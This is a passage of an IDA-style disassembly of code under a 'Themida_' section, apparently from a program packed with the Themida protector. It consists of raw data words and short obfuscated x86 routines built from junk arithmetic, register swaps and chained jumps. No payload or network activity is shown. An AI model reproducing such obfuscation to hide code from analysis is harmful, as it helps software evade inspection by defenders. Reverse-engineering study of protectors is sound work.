12E977Eh, 3BEB81C3h dd 582E977Eh, 1B17EB81h, 0E9580D37h, 44F2h, 31243433h dd 34332434h, 9D615C24h, 0D4E8E9C3h, 28F0000h, 175CE9h dd 5FF80100h, 24348150h, 1A427B0Ch, 0CF7815Fh, 581A427Bh dd 8817E953h, 34FF0000h, 0ACE95924h, 8B000095h, 0C481242Ch dd 4, 8124148Bh, 4C4h, 247C3100h, 0F8D4E904h, 0EC830000h dd 0E8B4E904h, 0CB68FFFFh, 0E9000023h, 11937h, 0E92414F7h dd 47C2h ; --------------------------------------------------------------------------- loc_5531A8: ; CODE XREF: Themida_:0055228Cj sub esp, 4 mov [esp], esp push edi mov edi, 4 add [esp+4], edi pop edi jmp loc_555F71 ; --------------------------------------------------------------------------- loc_5531C1: ; CODE XREF: Themida_:0056139Ej mov [esp], esi jmp loc_556469 ; --------------------------------------------------------------------------- db 87h, 34h, 24h dd 8924248Bh, 4BD242Ch, 0E9000000h, 66BCh ; --------------------------------------------------------------------------- loc_5531DC: ; CODE XREF: Themida_:005641B5j mov ecx, esp add ecx, 4 jmp loc_550AEC ; --------------------------------------------------------------------------- db 68h, 38h, 25h dd 0BA680000h, 0E900007Ah, 3B99h, 160AC0BAh, 5FFA011Ah dd 0CC02E9h db 0 ; --------------------------------------------------------------------------- loc_553205: ; CODE XREF: Themida_:0055C00Ej neg ebp jmp loc_55F629 ; --------------------------------------------------------------------------- dd 64B7ED81h, 0E4E92BFCh db 0C8h, 2 dup(0) ; --------------------------------------------------------------------------- loc_553217: ; CODE XREF: Themida_:00558609j add eax, edi jmp loc_56113D ; --------------------------------------------------------------------------- dw 5159h dd 4B9h, 0E9CE0100h, 0D5Ch, 0F96C62B8h, 87C2D77h, 0D0F71F94h dd 992B0C25h, 3F2D4041h, 68EDEB94h, 5A20h, 8B240489h, 0C481242Ch dd 4, 0FFD618E9h, 240489FFh, 0C2F2E953h, 0EA800000h, 3E56E9E2h dd 8B660000h, 0B4E9240Ch, 8300003Ah, 40504C4h, 83000000h dd 148904ECh, 35BD5524h, 0F77EE038h, 0FE581D5h, 0E91F5237h dd 6BC0h, 1E981h, 0C4680000h, 89000039h, 0BA52242Ch, 0EF933ECh dd 6D98E9h, 5BD82900h, 1D0E442Dh, 1827E94Dh db 1, 0 ; --------------------------------------------------------------------------- loc_5532BA: ; CODE XREF: Themida_:00561109j mov ebx, 35F55DDFh push ebx jmp loc_55D977 ; --------------------------------------------------------------------------- loc_5532C5: ; CODE XREF: Themida_:00556AEFj pop edi add ebp, 4 xchg ebp, [esp] pop esp xchg ebp, [esp] mov esp, [esp] shl word ptr [esp], cl pushf jmp loc_550420 ; --------------------------------------------------------------------------- db 31h, 0D6h, 5Ah dd 0DF45E956h, 0BF57FFFFh, 1EAA2FC8h, 8104EFC1h, 53241FE7h dd 94E78102h, 0E948461Ch, 15CDh, 0F129E95Ch, 0C330000h dd 912EE924h, 51520000h, 3C1518B9h, 151CBA74h, 0CA31743Ch dd 52D3E959h, 34FF0000h, 240C8B24h, 4EC81h, 0C890000h dd 3B17E924h, 0C5810000h, 4, 0E904C583h, 3BA3h, 804DC380h dd 63E968F3h, 0BBFFFFF2h, 7D66C31h, 0EF78E9h, 0E9D33000h dd 0FFFFD27Bh, 5155BA52h, 0CA8167B7h, 4D341D29h, 51EAC281h dd 0E28108E5h, 0FAA2D3Dh, 4D5DC281h, 0C2815B9Ch, 0F5B9F312h dd 4E5AD689h, 4EC8357h, 0F5BDE9h, 0E9EB0800h, 4E61h, 0ED81C501h dd 8096CAFh, 3A08C581h, 48B01B3h, 4C48124h, 56000000h dd 4EC81h, 14890000h, 0DD58E924h, 56550000h, 0ABE2E9h dd 5266AC00h, 0DDE9E4B2h db 0EBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5533CF: ; CODE XREF: Themida_:0055D77Cj sub ebp, esi pop esi add ebp, 0C16ED8F1h jmp loc_552386 ; --------------------------------------------------------------------------- db 89h, 3Ch, 24h dd 4BFh, 0E9FA2900h, 11261h, 4C781h, 0EF830000h, 243C8704h dd 0A8E3E9h db 0 ; --------------------------------------------------------------------------- loc_5533FD: ; CODE XREF: Themida_:0055961Fj push esi jmp loc_55A1CA ; --------------------------------------------------------------------------- db 66h dd 0CD01665Bh, 999E9h, 4BD98700h, 0D1F7D987h, 0CE51E9h dd 0D7015800h, 8324148Bh, 0B56804C4h, 0E9000027h, 10006h dd 335DEA29h, 14312414h, 24143324h, 8924248Bh, 148B243Ch dd 4C48324h, 840FC909h, 0FFFFF6C8h, 8904EC83h, 4812424h dd 424h, 6F6CE900h, 68560000h, 56781354h, 8124348Bh, 4C4h dd 0B8F68100h, 89267C6Ah, 55505EF2h, 0AE9DE9h, 24148900h dd 99E99C50h db 0CFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553487: ; CODE XREF: Themida_:00555DE7j add bl, cl mov ecx, [esp] push edi mov edi, esp push eax jmp loc_557B9C ; --------------------------------------------------------------------------- loc_553495: ; CODE XREF: Themida_:0055A550j mov edx, 1957F20h jmp loc_55B83B ; --------------------------------------------------------------------------- aZhb8svc db 'şZhĄ8éc',0 dd 242C8900h, 0BB3B09BDh, 0B12AE92Fh, 0E95D0000h, 5326h dd 0F0DCE959h, 59E90000h, 31FFFFCFh, 0D00159CAh, 80F6E9h dd 8BC82900h, 0C483240Ch, 2A2D6804h, 34890000h, 41C8BE24h dd 0DEF71FFEh, 2BBC681h, 0B8E94424h, 8B0000CCh, 0C4832404h dd 24148B04h, 8104C483h, 4ECh, 24048900h, 0C780FFB4h, 7234E954h dd 0CE010000h, 0D794E9h, 24148B00h, 8304C483h, 0FF5704C7h dd 5F042474h, 8B24048Fh, 0EC832424h, 24348904h, 887661BEh dd 0F9EB810Bh, 8158EC78h, 0D411DEC3h, 0B802E90Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55354A: ; CODE XREF: Themida_:005522A9j mov edx, 2D4A1045h or ebp, edx pop edx sub ebp, 0B759BEA0h add edi, ebp pop ebp add ecx, edi jmp loc_557BC1 ; --------------------------------------------------------------------------- dw 0F029h dd 1E4F2D5Eh, 0F801150Ah, 0FF7AE9h db 0 ; --------------------------------------------------------------------------- loc_553571: ; CODE XREF: Themida_:00553F24j push ebx mov ebx, 4E1843B8h xor esi, ebx pop ebx dec esi add esi, 9AE17872h add ebx, 404A7045h add ebx, esi sub ebx, 404A7045h jmp loc_5583B5 ; --------------------------------------------------------------------------- dd 8002C483h, 0E2C0A6F2h, 81CAFE04h, 4ECh, 24048900h, 5150E9h dd 24348900h, 552AB850h, 2057C33h, 5639635Eh, 225EFCBEh dd 8E6C16Ah, 0E955DEF7h, 0F915h, 0D61BE951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5535D2: ; CODE XREF: Themida_:0055B2C1j mov eax, 4 add edi, 357E4BC8h add edi, eax jmp loc_55552C ; --------------------------------------------------------------------------- loc_5535E4: ; CODE XREF: Themida_:0056299Ej mov eax, 4 sub edx, 6E3C4A97h add edx, eax jmp loc_557997 ; --------------------------------------------------------------------------- loc_5535F6: ; CODE XREF: Themida_:0055B324j push edx mov edx, 1E34002Eh xor [esp+4], edx pop edx push dword ptr [esp] pop eax push ecx mov ecx, esp add ecx, 4 jmp loc_55BA62 ; --------------------------------------------------------------------------- aAL1Suj db 'š [l',0Ah db '1Ďéă',0 dw 5100h dd 974DCEB9h, 8BCF8972h, 0C483240Ch, 0E6B0E904h, 0C483FFFFh dd 243C8704h, 6EA4E9h, 2FF16800h, 24890000h, 24048324h dd 241C8B04h, 4C481h, 0E9510000h, 82E7h, 81E18951h, 4C1h dd 4C18300h, 5C240C87h, 8B24048Fh, 4302424h, 0A9E99C24h dd 8BFFFFCDh, 0C483240Ch, 0E9D48804h, 10D98h, 4BA525Bh dd 1000000h, 2434FFD3h, 4C4835Ah, 4C381h, 1C870000h, 24248B24h dd 4C581h, 89560000h, 4C681E6h, 81000000h, 4EEh, 24343300h dd 33243431h, 895C2434h, 1CE9243Ch, 56000118h, 0E267E7BEh dd 0B5EE817Eh, 81052264h, 3E3618EEh, 9BC6812Fh, 892D7DF4h dd 24348BF5h, 4C481h, 0C1E90000h, 66000123h, 6824048Bh dd 1870h, 89241489h, 0E78957E2h, 4C781h, 76E90000h, 0F70000FEh dd 815D2414h, 1C5h, 1640E900h, 0E9540001h, 0BF20h, 1B37C181h dd 0E981178Fh, 3954C983h, 624AC281h, 0CA293ECAh, 624AEA81h dd 0C8B3ECAh, 0E9545124h, 10B2Ah, 2414F751h, 28BE5659h dd 148CD54h, 0C9815EF1h, 51DE0D2Fh, 6BF8E9h, 2DE82900h dd 5FEC3B6Eh, 53C3315Dh, 42F768h, 24248900h, 4BE56h, 74010000h dd 0FF5E0424h, 9DE92434h, 5D00001Fh, 6EE9C101h, 550000E6h dd 0E01C33BDh, 5DEF891Bh, 677AC681h, 0FE012207h, 677AEE81h dd 0E95F2207h, 113BFh, 80A7E680h, 0ABE902F6h, 68000060h dd 15BBh, 0B9240C89h, 72340BB6h, 4108E1C1h, 0FFE916E9h dd 0D830ACFFh, 8904EC83h, 4BE92414h, 81000052h, 9C1E21EBh dd 81D32936h, 9C1E21C3h, 0C8B5A36h, 0DB10E924h, 0E5C1FFFFh dd 0E8F58108h, 0E9141C7Fh, 4246h, 66E9C788h, 81000118h dd 4D152404h, 401316Eh, 0CCC1E924h, 0C4FEFFFFh, 30E5C480h dd 18E958E2h, 0B300004Bh, 66DC0029h, 0FFE2885Bh, 48B2434h dd 3D17E924h, 1C8B0000h, 4C48324h, 245F295Ah, 81241C8Bh dd 4C4h, 5E545600h, 4C681h, 0BD550000h, 4, 335DEE29h, 34312434h dd 24343324h, 240C895Ch, 0B9B0E9h db 0 ; --------------------------------------------------------------------------- loc_553869: ; CODE XREF: Themida_:0055A80Ej sub eax, 6CD319C6h sub esp, 4 mov [esp], edx pop dword ptr [eax] mov eax, [esp] push edi jmp loc_565204 ; --------------------------------------------------------------------------- db 0ACh dd 0FFDAA4E9h, 0D4E951FFh, 83000079h, 0FF042404h, 835B2434h dd 0C38104C4h, 4, 4EC81h, 4890000h, 41F8B824h, 0E9536799h dd 0C13Fh, 5EF20958h, 4114CA81h, 0BE5638F3h, 2D55227Bh dd 815EF201h, 0D60239C2h, 30F28157h, 89052A94h, 0F1215AD6h dd 0E9C15Eh, 840FC009h, 0FFFFCE2Eh, 8904EC83h, 0E6892434h dd 4BF57h, 0FE010000h, 2E94E95Fh, 34FF0000h, 53E95E24h dd 8300009Dh, 5904C4h, 0A312E9D0h, 25BA0000h, 810BC264h dd 0D85675EAh, 0B1D8E928h, 3C330000h, 24248B24h, 348BF389h dd 4C48324h, 4422C281h, 0A6E94151h, 5800004Fh, 0E993D0F7h dd 0C156h, 1ADBE781h, 0C78118DFh, 0B99448C8h, 15FFA31h dd 212D5AD0h, 11E8832h, 322105F8h, 0BE561E88h, 11EB7139h dd 5D32BD55h, 0EBE95016h, 81000059h, 215165F5h, 5DEF8957h dd 0A257E9h db 0 ; --------------------------------------------------------------------------- loc_553979: ; CODE XREF: Themida_:0055F749j pop ebp push edi mov edi, esp add edi, 4 jmp loc_562CC4 ; --------------------------------------------------------------------------- dd 525BF888h, 0F388C688h, 0D888585Ah, 5618E9h, 67C78100h dd 5A112825h, 31243C33h, 3C33243Ch, 24248B24h, 988AE9h dd 5D545500h, 4C581h, 0ED810000h, 4, 31242C33h, 2C33242Ch dd 24248B24h, 89241489h, 4C281E2h, 55000000h, 4BDh, 0E9EA2900h dd 0FC5Ch, 0CD881DBAh, 8BD02988h, 0C4812414h, 4, 0CE5BE9h dd 15685F00h, 8900006Bh, 74FF2434h, 8F5E0424h, 248B2404h dd 28172C24h, 661704D8h, 81241C8Bh, 2C4h, 4EC8100h, 89000000h dd 1CE9241Ch db 63h, 2 dup(0) ; --------------------------------------------------------------------------- loc_553A2B: ; CODE XREF: Themida_:00563BF8j shl edx, 7 shr edx, 1 not edx dec edx jmp loc_5648B6 ; --------------------------------------------------------------------------- loc_553A38: ; CODE XREF: Themida_:0055BB52j sub ebx, 4F2A2FE6h pop esi sub ebx, 4 xchg ebx, [esp] mov esp, [esp] mov [esp], ecx jmp loc_55D1E2 ; --------------------------------------------------------------------------- dd 2434FF5Bh, 4C48359h, 3F6168h, 6586E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_553A62: ; CODE XREF: Themida_:00559826j xor ebp, ecx xor ecx, ebp xor ebp, ecx xchg ebp, ecx xor ebp, ecx xor ecx, ebp xor ebp, ecx xchg ebx, ecx not ebx xchg ebx, ecx xchg ecx, ebp xchg ebp, ecx jmp loc_552C1C ; --------------------------------------------------------------------------- db 0F7h aZS? db 'ŇÓé\?',0 align 4 dd 502DEE80h, 4EC81h, 0C890000h, 31FE924h, 0CA810000h dd 22A71C49h, 37EBEA81h, 0D701FA28h, 24048B5Ah, 5204C483h dd 321F68h, 24048900h, 25FFE957h, 0C4810000h, 4, 52595451h dd 4BAh, 5AD10100h, 4C181h, 0BFE90000h, 89000108h, 4C181E1h dd 0E9000000h, 0DB22h, 0EF5AE952h, 0EB80FFFFh, 0E128E9DCh dd 5954FFFFh, 4C181h, 0E9830000h, 240C8704h, 0EB70E95Ch dd 8B660000h, 82E92404h, 100007Ch, 0FF5659CEh, 5E042474h dd 5C24048Fh, 2EA81h, 9EE90000h, 0BB000063h, 740B5117h dd 2D68h, 9EAEE900h, 33580000h, 25E92414h, 0FFFFDBh, 662E04D8h dd 66422868h, 68241489h, 6F90h, 7BF0E9h, 80C7FE00h, 0F80049EFh dd 2CF0005Bh, 285A66F8h, 0FED68F8h, 14890000h, 0C027B224h dd 0EAC008E2h, 65E95003h, 830000E5h, 6C6804C4h, 89000007h dd 6850240Ch, 18DC4868h, 34940558h, 0C189168Eh, 0E0E1E958h dd 0C8BFFFFh, 4C48324h, 8B66E288h, 0E5E92404h, 50FFFFF9h dd 24048B54h, 0FFF6BAE9h db 0FFh ; --------------------------------------------------------------------------- loc_553BB9: ; CODE XREF: Themida_:0055B056j mov eax, [esp] push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_5641A4 ; --------------------------------------------------------------------------- dd 0A1B1515Ah, 0E9F5F180h, 0F4Bh ; --------------------------------------------------------------------------- loc_553BDC: ; CODE XREF: Themida_:0055FB68j push ebp mov ebp, 339A3A6Fh jmp loc_552C0C ; --------------------------------------------------------------------------- loc_553BE7: ; CODE XREF: Themida_:005622AEj jz loc_55469E push 3784h mov [esp], ebx jmp loc_55201C ; --------------------------------------------------------------------------- dw 0C181h dd 799655FDh, 4E23E9h, 48F5800h, 0FF665C24h, 0E99C240Ch dd 0FFFFC80Ch, 0BE56E0D1h, 613CFC02h, 9C77E9h, 40478F00h dd 0FFC7F7E9h, 24248BFFh, 53240C89h, 1CBBh, 0E9D98900h dd 0BF9Bh, 4C381h, 5A680000h, 0E9000066h, 0E95Fh, 8702C083h dd 665C2404h, 5224048Bh, 0C2815A54h, 4, 4EC81h, 2C890000h dd 4BA5224h, 89000000h, 0EA295AD5h, 2414875Dh, 242C895Ch dd 20E9E589h, 8B0000D3h, 0E7C12424h, 1904E908h, 0E95F0000h dd 0FFFFDCA4h, 592434FFh, 68585450h, 5549h, 0B9240C89h dd 228F79E0h, 201EBD55h, 5045612Fh, 0C31C7EB8h, 58C5011Eh dd 583ECD81h, 0C581243Fh, 7AC127CCh, 6AE3ED81h, 0E909EB0Bh dd 0D3BB535Dh, 8100A742h, 382378C3h, 2EBC11Ah, 0EAC2E9h dd 2C68300h, 5C243487h, 0E99CC884h, 0FFFFC730h, 0FF242C89h dd 5D042474h, 8B24048Fh, 66642424h, 85E90289h, 81000011h dd 31206DEAh, 5AD529EDh, 0D31EF581h, 0EA89A8A4h, 51C1815Dh dd 1059801h, 51E981D1h, 8B059801h, 0C4812414h, 4, 0E981F901h dd 1EAB19E4h, 5F2434FFh, 83E18951h, 348904ECh, 4F99E924h dd 4BF0000h, 0E9000000h, 0FFFFD860h, 19EBBE56h, 0B85028E3h dd 44C23E1Fh, 48BC631h, 4C48324h, 5701C683h, 9D21D5BFh dd 5FFE3172h, 5216E94Eh, 0C4830000h, 28BF5704h, 0F73B7E2Ch dd 0D6E955DFh, 5700005Fh, 13176268h, 0F7815F45h, 45131766h dd 0C1D8E9h, 0C8B6600h, 6657E924h, 0C8B0000h, 7DBAE924h dd 0C3810000h, 461F2A1Dh, 62FAE9h, 0F0885000h, 8858C188h dd 0E6A0E9C8h, 0C4810000h, 4, 23E9F681h, 0F5018104h, 11828E9h dd 242C8900h, 0C021ABBDh, 91F5811Fh, 2D544543h, 5C0B1D71h dd 7105E829h, 5D5C0B1Dh, 0FDED9035h, 0E9C189B4h, 0FFFFED01h ; --------------------------------------------------------------------------- loc_553E00: ; CODE XREF: Themida_:00563485j dec edi shr edi, 8 inc edi sub edi, 0C00A9DE4h sub eax, 6B24FA0h jmp loc_559671 ; --------------------------------------------------------------------------- db 0FEh, 0C2h, 80h dd 0C2803CC2h, 80DAF6D2h, 93E913CAh, 0BB000090h, 6812004Ch dd 815BDA31h, 9A20ADF2h, 5AD32140h, 5743D3F7h, 7F5D39BFh dd 0EF814F4Bh, 6E286C8Ah, 0F781D7F7h, 86D09646h, 52E9FB31h dd 89FFFFD6h, 0CFBF243Ch, 8119A371h, 6FEA3DC7h, 0A6C38133h dd 296CC56Bh, 0A6EB81FBh, 5F6CC56Bh, 11ECBB53h, 0DA017D79h dd 0FFE517E9h, 0E9D789FFh, 0FFFFE6C1h ; --------------------------------------------------------------------------- loc_553E88: ; CODE XREF: Themida_:00551549j push esi push 1F1E0877h pop esi push ebx mov ebx, 48716278h push edx jmp loc_5566D4 ; --------------------------------------------------------------------------- db 81h dd 0FB6AB9F7h, 71BF5773h, 814F9F71h, 835413EFh, 5FF82926h dd 837BD705h, 2DF8017Dh, 7D837BD7h, 1C1D5E05h, 0BE565F29h dd 2, 0E95EF001h, 0CB37h, 0B3C6815Eh, 89344D76h, 0EFE4E9F1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_553EDE: ; CODE XREF: Themida_:00551324j mov [esp], ecx mov ecx, 59FA113Dh and ecx, 7703440Fh sub ecx, 3316370h sub ecx, 0FFFFFFFFh add ecx, 1BD26A8Bh mov ebp, ecx pop ecx push esi mov esi, 6BBA5C31h xor ebp, esi pop esi inc ebp sub ebp, 0FAE45326h push esi mov esi, ebp mov ebx, esi pop esi pop ebp push esi mov esi, 772951B8h and esi, 3B807F23h jmp loc_553571 ; --------------------------------------------------------------------------- db 49h, 0F7h, 0D1h dd 2218F181h, 576840B1h, 89000060h, 4DE9240Ch db 0BAh, 2 dup(0) ; --------------------------------------------------------------------------- loc_553F3F: ; CODE XREF: Themida_:0055B5ADj push 28E56396h pop eax add eax, 0FFFFFFFFh push edx mov edx, 2FF7C144h jmp loc_55C889 ; --------------------------------------------------------------------------- db 1 dd 0F1ED81FDh, 0E9653B6Bh, 0FFFFD067h, 0D3F7DBF7h, 0D9BD5557h dd 0BF28E161h, 6FF628E6h, 815DEF31h, 0C14466E7h, 11E7811Ah dd 0C100FF52h, 0E95703E7h, 9DA1h, 24343359h, 7088E9h, 241C8B00h dd 0C104C483h, 11E903E2h, 0FFFFFFE4h, 0C47AE930h, 0CD89FFFFh dd 0DA9FE9h db 0 ; --------------------------------------------------------------------------- loc_553FAD: ; CODE XREF: Themida_:0055ABF2j mov eax, [esp] add esp, 4 xor ebp, 14DA0C2Dh shr ebp, 7 jmp loc_552159 ; --------------------------------------------------------------------------- dd 3DF9EA81h, 0EAC173D0h, 6CAE907h, 14890001h, 535A5424h dd 2F67A2BBh, 0D37EE906h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553FE2: ; CODE XREF: Themida_:005570EAj mov [esp], ebx push 6454h mov [esp], edi mov edi, 77070156h jmp loc_5640C3 ; --------------------------------------------------------------------------- db 2Dh dd 45D23EF3h, 5624348Bh, 39E9E689h, 0F70000B8h, 4E2C1DAh dd 93FC281h, 0EA816F90h, 5FB32B52h, 61E9D689h db 1Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_55401F: ; CODE XREF: Themida_:00561731j push 4E89h mov [esp], edi mov edi, 425C5656h and edi, 50344784h push ebp mov ebp, 506207A0h add edi, ebp jmp loc_55F725 ; --------------------------------------------------------------------------- loc_55403F: ; CODE XREF: Themida_:00556FBCj push esi mov esi, 63D232E2h add esi, 9C2DCD22h add ebp, esi pop esi add ebp, 4 push edi push esp pop edi jmp loc_559C7E ; --------------------------------------------------------------------------- dd 512BF281h, 0F2811F43h, 1D6D460Eh, 863CC281h, 0D789E2C0h dd 528E9h, 88515A00h, 59EA88C5h, 0E924048Bh, 6DE1h, 0E95DEE89h dd 2D20h, 0BE565Ah, 0E978223Dh, 0FFFFCA68h, 4C2835Eh, 7995E9h dd 24040900h, 0C376E99Ch, 295FFFFFh, 2C81243Ch, 9963FD24h dd 243C8B65h, 219AE951h, 24890000h, 24048124h, 4, 2E3EE959h dd 0F5810000h, 6BEB75E8h, 0ED81EDD1h, 35FDB25Fh, 0FAE9EF89h dd 8900007Bh, 4C281E2h, 0E9000000h, 94F5h, 83242C8Bh, 0D82904C4h dd 2A1E685Bh, 14890000h, 66426824h, 685A63BEh, 70A0h, 354EE9h dd 2E6C100h, 0FEC9E9h, 4C38100h, 83000000h, 1C8704C3h dd 24248B24h, 9E78E90Dh, 0FDBE565Dh, 0E97FBE7Dh, 74DBh ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edx jmp loc_5525BA ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0E92434FFh, 395Fh, 0BE9C15Ah, 1055CE9h, 41F86800h, 0E95F4894h dd 118FFh, 0EF6C981h, 0BA526519h, 26532F35h, 8904EC83h dd 0B3B82404h, 0C1748001h, 0B1E907E8h, 680000FDh, 53Eh dd 0E9241C89h, 82F9h, 5E29C581h, 0EE01C886h, 1173DE9h dd 11C38000h, 8C38058h, 0E9C0B60Fh, 1B6Eh ; --------------------------------------------------------------------------- loc_5541A8: ; CODE XREF: Themida_:0055F6AAj pop ebp or ebp, 783001DCh push esi mov esi, 3F2E63D2h sub ebp, 78A704D3h add ebp, esi add ebp, 78A704D3h pop esi shl ebp, 5 jmp loc_55F90B ; --------------------------------------------------------------------------- loc_5541CC: ; CODE XREF: Themida_:0055215Fj add ecx, 1AE023D4h sub ecx, ebp push esi mov esi, 44E80375h or esi, 4D712B04h and esi, 4926BAFh xor esi, 1E7008F1h jmp loc_5634A6 ; --------------------------------------------------------------------------- align 2 aSis db 'Đé',0 align 4 loc_5541F8: ; CODE XREF: Themida_:005509A0j jmp loc_550420 ; --------------------------------------------------------------------------- db 89h, 0E0h, 55h dd 3CAABF57h, 0C7811702h, 5A9533EEh, 89585750h, 0F75F58C5h dd 81D5F7DDh, 0A97441CDh, 0DDF74D7Ah, 74DAC581h, 0E8017BBFh dd 5242685Dh, 2C890000h, 1278BD24h, 0FDE93E35h, 81000021h dd 977A1CC3h, 24048B34h, 0E904C483h, 257Fh, 0E906EAC1h dd 0FFFFFDB3h, 505F5457h, 303DE9h, 4C48300h, 63C8BF57h dd 0C7813C30h, 62173E2Ch, 5E10C781h, 0FB0161B8h, 81243C8Bh dd 4C4h, 4EC8300h, 0BF243C89h, 4E567305h, 18CCC781h, 61E9267Ch dd 0B8FFFFE1h, 8C541A1h, 8C25D0F7h, 35795018h, 1A141B77h dd 0B858C289h, 94FBFC89h, 0E95AD001h, 0D219h, 74FF505Ch dd 0B5E90424h, 57000063h, 7641BA52h, 0D7891273h, 7643BD5Ah dd 0C5811273h, 7CD1410Eh, 2E9FD29h, 100009Dh, 0C335BD9h dd 240C3124h, 5C240C33h, 6CC0F681h, 8DE949BBh db 0Ah, 1, 0 ; --------------------------------------------------------------------------- loc_5542F3: ; CODE XREF: Themida_:005512C2j push ebx mov ebx, 4BBF5F87h add ebx, 6CE5042Ah xor ebx, 20EB033Bh neg ebx add ebx, 4DC66D36h xor ebx, 0AE862CABh xor ebx, 60FD5CD4h xor edx, ebx pop ebx and eax, edx push dword ptr [esp] pop edx jmp loc_556D5D ; --------------------------------------------------------------------------- db 8Bh dd 0C4832414h, 14E4E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554332: ; CODE XREF: Themida_:0055699Ej push edx mov edx, 4 jmp loc_55E15F ; --------------------------------------------------------------------------- loc_55433D: ; CODE XREF: Themida_:00557D8Aj sub edi, ebx jmp loc_55F903 ; --------------------------------------------------------------------------- dd 0C281E289h, 4, 0BF67E9h, 0C8B6600h, 59545124h, 8904EC83h dd 49BB241Ch, 43727E16h, 0CB814B43h, 603736E5h, 7873E943h dd 0CF010000h, 68D70159h, 6B1h, 0E9240489h, 0FFFFCCD8h dd 29910559h, 2C8B4864h, 4C48124h, 33000000h, 4312404h dd 24043324h, 8924248Bh, 478F2404h, 24048B40h, 4B0968h dd 243C8900h, 0EC81E789h, 4, 0BD242C89h, 790D5D30h, 663EED81h dd 0E5D10064h, 81E78957h, 4C7h, 0E2D3E900h, 0E981FFFFh dd 3DE02F90h, 5385E181h, 0E9814A03h, 0A001000h, 0B0E9C801h dd 0F7FFFFECh, 0D8C581DDh, 0E9CC316Ch, 10199h, 0EBB8505Eh dd 0D6F1C34h, 1D03A2Eh, 0AD60E9h, 81E28900h, 4C2h, 3E0F6800h dd 30E90000h, 0F6000053h, 0FBCA80DAh, 0B353DAF6h, 80D3F605h dd 0E3C02EEBh, 1E38004h, 30A5C380h, 0ED2C5BDAh, 0E6D7E9h dd 0B8505500h, 4, 0E958C589h, 0F12Ah, 34FFD821h, 241C8B24h dd 8304C483h, 0C20904C4h, 6853E2D1h, 57A2h, 68241489h dd 764C3756h, 0F7D2F75Ah, 92BF57DAh, 5516F901h, 8D0343BDh dd 0C1D5F72Ch, 0E94503EDh, 3F36h ; --------------------------------------------------------------------------- loc_55448C: ; CODE XREF: Themida_:0055F906j pop edi loc_55448D: ; CODE XREF: Themida_:00557EB3j ; Themida_:0055F634j push dword ptr [edi+24h] push dword ptr [esp] jmp loc_558460 ; --------------------------------------------------------------------------- loc_554498: ; CODE XREF: Themida_:00550DF8j mov edx, [esp] add esp, 4 sub esp, 4 mov [esp], edx mov dh, 0E1h not dh jmp loc_55CD21 ; --------------------------------------------------------------------------- aBQNsA db 'ÇĘŮnéÝ ',0 db 0 ; --------------------------------------------------------------------------- loc_5544BB: ; CODE XREF: Themida_:005604C4j sub ecx, 211C1333h and edx, ecx pop ecx xor edx, 63AA0F1Dh sub edx, 74C26FA2h not edx sub edx, 0DE18D173h sub ebx, edx mov edx, [esp] add esp, 4 and ebx, 76BB6D22h jmp loc_556CD4 ; --------------------------------------------------------------------------- dw 0C181h dd 744C419Ch, 582434FFh, 4EC81h, 1FE90000h, 5B0000DBh dd 315DEB01h, 0C8215BD9h, 0E9240C8Bh, 10CD8h, 2424D366h dd 0BF02E99Ch, 98B2FFFFh, 0CAFEC2FEh, 0FFCFD5E9h, 0EC815EFFh dd 4, 0BA241489h, 19A63BBBh, 81E68956h, 4C6h, 1477E900h dd 0E9810001h, 4DC67283h, 5724048Bh, 0C781E789h, 4, 0E904C783h dd 35F7h, 8324348Bh, 4F2104C4h, 2434FF1Ch, 0FFC97CE9h dd 243C8BFFh, 81E28952h, 4C2h, 4C28300h, 0E9241487h, 0FFFFD27Ah ; --------------------------------------------------------------------------- loc_554588: ; CODE XREF: Themida_:00555A1Cj xor ah, 7 and bl, ah mov eax, [esp] add esp, 4 inc bl jmp loc_564E11 ; --------------------------------------------------------------------------- db 5Ah, 81h, 0EBh dd 5B4A3BF8h, 0E950FB29h, 0F704h, 43E9CA01h, 810000FEh dd 41149EFh, 81F70149h, 41149C7h, 0EEBD5549h, 295BB202h dd 6EE95DEFh, 0B0000110h, 0F6C8FE80h, 0FED0F6D0h, 9049E9C0h dd 0C1080000h, 8124048Bh, 4C4h, 0E9D9F600h, 68A7h, 0B4189ABFh dd 77EA8179h, 810D6E7Eh, 9161B7C2h, 81FA0168h, 9161B7EAh dd 77C28168h, 8B0D6E7Eh, 18E9243Ch db 0EDh, 2 dup(0) ; --------------------------------------------------------------------------- loc_554617: ; CODE XREF: Themida_:00562759j push 7E29h mov [esp], ecx mov ecx, 38466BC9h sub ecx, 298D049Dh push ebp mov ebp, 0F6235E1h xor ecx, ebp pop ebp shr ecx, 4 push ebp mov ebp, 0FFE24AD8h add ecx, ebp mov ebp, [esp] jmp loc_55D9E0 ; --------------------------------------------------------------------------- loc_554646: ; CODE XREF: Themida_:00559DABj xchg edx, [esp] mov esp, [esp] rol word ptr [esp], cl pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_554656: ; CODE XREF: Themida_:00561F7Bj mov ecx, esp add ecx, 4 push edx mov edx, 4 add ecx, edx pop edx xchg ecx, [esp] pop esp add esp, 4 or ebx, ebx jnz loc_560D6A push eax push ebp jmp loc_55FDB1 ; --------------------------------------------------------------------------- db 81h, 0F3h, 0C5h aKght db '-KGht$',0 align 4 dd 830FE9h db 0 ; --------------------------------------------------------------------------- loc_55468D: ; CODE XREF: Themida_:0055A8EEj mov ebx, 44CD4FEFh xor edx, ebx push dword ptr [esp] pop ebx add esp, 4 loc_55469E: ; CODE XREF: Themida_:loc_553BE7j ; Themida_:005610FBj push 3DC7h mov [esp], ebx push dword ptr [esp] mov eax, [esp] jmp loc_558097 ; --------------------------------------------------------------------------- db 0B6h, 12h, 0E9h dd 0FFFFD602h, 7D1634BDh, 3E7BB921h, 0E931364Bh, 0BBC1815Dh dd 292EDE08h, 2F9CE9D9h, 0E9810000h, 0C926367h, 8105E9C1h dd 9B6DE0E9h, 8BCE0107h db 0Ch, 24h ; --------------------------------------------------------------------------- push ebp 